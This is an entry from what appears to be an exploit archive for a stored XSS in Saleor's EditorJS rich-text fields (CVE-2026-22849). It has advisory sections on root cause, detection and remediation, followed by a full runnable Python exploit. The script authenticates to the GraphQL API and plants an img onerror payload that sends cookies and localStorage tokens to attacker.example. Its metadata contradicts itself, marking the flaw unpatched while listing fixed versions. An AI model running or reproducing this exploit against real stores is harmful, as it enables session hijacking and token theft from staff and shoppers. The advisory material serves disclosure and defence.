PoC Archive PoC Archive
High CVE-2026-22849 (GHSA-8jcj-r5g2-qrpv) unpatched

Saleor Rich Text (EditorJS) Field Stored XSS (CVE-2026-22849)

by Lukasz Rybak (with Quyền Vũ) · 2026-07-05

Severity
High
CVE
CVE-2026-22849 (GHSA-8jcj-r5g2-qrpv)
Category
web
Affected product
Saleor (open-source e-commerce platform), rich text fields (EditorJS content on pages/products)
Affected versions
Prior to 3.22.27, 3.21.43, 3.20.108
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherLukasz Rybak (with Quyền Vũ)
CVE / AdvisoryCVE-2026-22849 (GHSA-8jcj-r5g2-qrpv)
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssaleor, stored-xss, editorjs, graphql, ecommerce, session-hijacking, cwe-79
RelatedN/A

Affected Target

FieldValue
Software / SystemSaleor (open-source e-commerce platform), rich text fields (EditorJS content on pages/products)
Versions AffectedPrior to 3.22.27, 3.21.43, 3.20.108
Language / PlatformSaleor backend (Python/GraphQL); PoC written in Python against Saleor’s GraphQL API
Authentication RequiredYes (staff/editor account able to modify rich text fields)
Network Access RequiredYes

Summary

Saleor stores rich text content (page bodies, product descriptions, etc.) as EditorJS block JSON, and is supposed to run this content through a server-side HTML cleaner before persisting and rendering it. In the affected versions that cleaning step was not enforced, so a user able to edit a rich text field could embed raw, active HTML (such as an <img onerror=...> payload) inside an EditorJS block. That payload is stored verbatim and later rendered unsanitized in the Saleor dashboard and/or storefront, producing a stored XSS that can target other staff members and potentially steal their access/refresh tokens. The upstream researcher’s repository is an advisory writeup without a standalone script; this folder’s exploit.py re-derives a minimal, runnable PoC directly from that advisory’s own description of the bug so the technique can be exercised via Saleor’s GraphQL API.


Vulnerability Details

Root Cause

Saleor accepted EditorJS-format rich text JSON for fields such as page/product content without passing it through its HTML-cleaning step, allowing raw inline HTML/JS embedded inside block data (e.g. a paragraph block’s text) to be stored and later rendered without sanitization.

Attack Vector

  1. Attacker (a staff/editor account with rich-text field edit permission) authenticates to Saleor’s GraphQL API.
  2. Attacker submits a mutation (e.g. pageUpdate) whose content is EditorJS JSON containing an inline HTML XSS payload (such as an <img src=x onerror=...> tag) inside a block’s text.
  3. Saleor stores the content without cleaning the embedded HTML.
  4. When another staff member (dashboard) or a storefront visitor views the affected page/product, the unsanitized HTML renders and the embedded script executes, allowing theft of session/refresh tokens or other in-browser data.

Impact

Stored cross-site scripting that can compromise other staff members’ dashboard sessions (including access/refresh token theft) or affect storefront visitors viewing the tampered content.


Environment / Lab Setup

Target:   Saleor instance prior to 3.22.27 / 3.21.43 / 3.20.108, GraphQL API reachable
Attacker: Python 3, requests (pip install requests), a staff/editor account with rich-text edit permissions

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
pip install requests
python3 exploit.py --url https://TARGET/graphql/ --email staff@example.com --password '...' --page-id <base64-page-id>

The script authenticates via Saleor’s tokenCreate GraphQL mutation, submits a pageUpdate mutation whose content is EditorJS JSON embedding an <img onerror=...> XSS payload inside a paragraph block, and then re-queries the page to confirm the payload was stored verbatim (i.e. unsanitized) rather than cleaned.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected differences reported by Saleor’s clean_editorjs_fields management command on existing rich text fields
  • Rich text (page/product description) content containing raw event-handler attributes or <script> tags
  • Staff accounts exhibiting session/token misuse shortly after viewing a modified page or product in the dashboard

Remediation

ActionDetail
Primary fixUpgrade Saleor to 3.22.27, 3.21.43, or 3.20.108 or later
Interim mitigationRun ./manage.py clean_editorjs_fields (add --apply to fix) to detect and clean already-stored malicious rich text; additionally apply a client-side sanitizer such as DOMPurify if upgrading isn’t immediately possible

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-22849 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
"""
CVE-2026-22849 -- Saleor stored XSS via unsanitized rich text (EditorJS) fields
Advisory: GHSA-8jcj-r5g2-qrpv (https://github.com/saleor/saleor/security/advisories/GHSA-8jcj-r5g2-qrpv)

NOTE: The upstream researcher's repository (lukasz-rybak/CVE-2026-22849) ships only a
README-style advisory writeup with no standalone script. This file re-derives a
minimal, runnable PoC from that advisory's own description of the bug (Saleor accepts
and stores EditorJS-format "rich text" JSON for fields such as page/product
descriptions without running it through a backend HTML cleaner) so the technique can
be exercised against a test instance rather than only read about.

Technique
---------
Saleor represents rich text content (page bodies, product descriptions, etc.) as
EditorJS block JSON. Each block can carry raw inline HTML inside its "text"/"content"
values (e.g. a "paragraph" block). Saleor is supposed to run these fields through a
server-side HTML cleaner before persisting/rendering them, but the vulnerable
versions skip that step, so a block containing an <img onerror=...> / <script>
payload is stored verbatim and later rendered unsanitized in the dashboard and/or
storefront -- a classic stored XSS that can be used to steal a staff member's
session/refresh tokens.

Usage
-----
  pip install requests
  python3 exploit.py --url https://TARGET/graphql/ --email staff@example.com --password '...' --page-id <base64 page id>

This will:
  1. Authenticate via the `tokenCreate` mutation to obtain a staff auth token.
  2. Submit a `pageUpdate` mutation whose `content` is EditorJS JSON containing an
     inline HTML XSS payload inside a paragraph block.
  3. Re-fetch the page to show the payload was stored without sanitization.

Remediation reference: run `./manage.py clean_editorjs_fields` (add `--apply` to fix)
on patched versions (3.22.27 / 3.21.43 / 3.20.108) to detect/clean any already-stored
malicious rich text content.
"""

import argparse
import json
import sys

try:
    import requests
except ImportError:
    print("[!] Missing dependency -- run: pip install requests")
    sys.exit(1)

# XSS payload embedded as inline HTML inside an EditorJS "paragraph" block.
# When rendered without sanitization this fires in the browser of anyone who
# views the page (dashboard editor or storefront visitor).
XSS_PAYLOAD_HTML = (
    '<img src=x onerror="fetch(\'https://attacker.example/steal?c=\'+'
    'encodeURIComponent(document.cookie)+\'&t=\'+encodeURIComponent('
    'localStorage.getItem(\'token\')||\'\'))">'
)

MALICIOUS_EDITORJS_CONTENT = {
    "time": 1710000000000,
    "blocks": [
        {
            "id": "xss1",
            "type": "paragraph",
            "data": {
                "text": f"Innocuous looking text {XSS_PAYLOAD_HTML}",
            },
        }
    ],
    "version": "2.24.3",
}

TOKEN_CREATE_MUTATION = """
mutation TokenCreate($email: String!, $password: String!) {
  tokenCreate(email: $email, password: $password) {
    token
    errors { field message }
  }
}
"""

PAGE_UPDATE_MUTATION = """
mutation PageUpdate($id: ID!, $content: JSONString!) {
  pageUpdate(id: $id, input: { content: $content }) {
    page { id content contentJson }
    errors { field message code }
  }
}
"""

PAGE_QUERY = """
query GetPage($id: ID!) {
  page(id: $id) { id title content }
}
"""


def graphql(url, query, variables, token=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    resp = requests.post(url, json={"query": query, "variables": variables}, headers=headers, timeout=15)
    resp.raise_for_status()
    return resp.json()


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-22849 -- Saleor rich-text stored XSS PoC")
    parser.add_argument("--url", required=True, help="Saleor GraphQL endpoint, e.g. https://shop.example.com/graphql/")
    parser.add_argument("--email", required=True, help="Staff account email with page-edit permission")
    parser.add_argument("--password", required=True, help="Staff account password")
    parser.add_argument("--page-id", required=True, help="Base64 GraphQL ID of an existing CMS page to modify")
    args = parser.parse_args()

    print(f"[*] Authenticating to {args.url} as {args.email} ...")
    auth = graphql(args.url, TOKEN_CREATE_MUTATION, {"email": args.email, "password": args.password})
    result = auth.get("data", {}).get("tokenCreate", {})
    if result.get("errors"):
        print(f"[!] Login failed: {result['errors']}")
        sys.exit(1)
    token = result["token"]
    print("[+] Authenticated, got token")

    payload_json = json.dumps(MALICIOUS_EDITORJS_CONTENT)
    print(f"[*] Submitting malicious EditorJS content to page {args.page_id} ...")
    update = graphql(
        args.url,
        PAGE_UPDATE_MUTATION,
        {"id": args.page_id, "content": payload_json},
        token=token,
    )
    upd = update.get("data", {}).get("pageUpdate", {})
    if upd.get("errors"):
        print(f"[!] pageUpdate failed: {upd['errors']}")
        sys.exit(1)
    print("[+] Page updated successfully -- server accepted unsanitized HTML in rich text field")

    print("[*] Re-fetching page to confirm payload was stored verbatim ...")
    check = graphql(args.url, PAGE_QUERY, {"id": args.page_id}, token=token)
    content = check.get("data", {}).get("page", {}).get("content", "")
    if "onerror=" in content or XSS_PAYLOAD_HTML in content:
        print("[+] VULNERABLE: stored content still contains the raw XSS payload:")
        print(content[:500])
        print("\n[+] Anyone viewing this page in the dashboard/storefront will execute the script.")
    else:
        print("[-] Payload not found verbatim in stored content -- target may be patched")
        print(content[:500])


if __name__ == "__main__":
    main()